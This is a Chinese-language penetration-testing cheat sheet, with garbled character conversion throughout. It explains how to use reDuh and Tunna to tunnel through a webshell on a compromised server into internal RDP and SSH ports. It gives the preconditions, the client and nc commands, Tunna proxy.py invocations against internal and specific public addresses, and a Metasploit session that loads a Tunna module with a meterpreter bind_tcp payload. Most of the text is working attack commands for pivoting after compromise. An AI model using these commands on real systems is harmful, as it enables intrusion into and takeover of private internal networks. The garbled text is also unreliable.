1.1reDuh
下載下傳位址:https://github.com/sensepost/reDuh
1.reDuh使用條件
(1)擷取目标伺服器webshell,且可以上傳reDuh服務端對應腳本檔案。
(2)知道目标伺服器開放的内網端口,如遠端桌面的端口是3389。
(3)目标伺服器網絡做了端口政策限制,隻允許外部通路内網的80等特定端口。
2. reDuh使用指令
(1)本地具備java環境,可以使用pentestbox自帶java環境
java -jar reDuhClient.jar http://somesite.com/reDuh.aspx http or https port
(2)本地連接配接1010端口
nc -vv localhost 1010
(3)在java指令視窗執行
[createTunnel]1234:127.0.0.1:3389
(4)使用mstsc登入127.0.0.1:1234
1.2Tunna
https://github.com/SECFORCE/Tunna
(1)連接配接3389
python proxy.py -u http://172.0.0.1/conn.aspx -l 1234 -r 3389 –v
通過檢視網上相關文章,隻見conn.jsp和conn.php實作端口轉發成功。
通過該方法通路内網的其他伺服器,指令如下:
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -a 172.0.0.2 -r 3389
172.0.0.1是webshell所在伺服器,172.0.0.2是内網通路的伺服器,3389為遠端終端端口,有些伺服器修改器預設端口為其它端口。本地直接登入遠端終端位址127.0.0.1:1234即可。參數含義如下:
-l 表示本地監聽的端口
-r 遠端要轉發的端口
-v 詳細模式
2.連接配接SSH
對于SSH服務需要添加-s參數,才能保證連接配接的時候不會中斷,執行指令:
python proxy.py -u http://218.4.45.152:8877/job/conn.aspx -l 1234 -r 22 -v –s
在本地使用ssh連接配接1234端口即可:
ssh localhost -p 1234
3.MSF利用tunna轉發
将tunna_exploit.rb拷貝到msf的modules/exploits/windows/misc目錄.
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 //注意這裡是指本地的公網IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit –j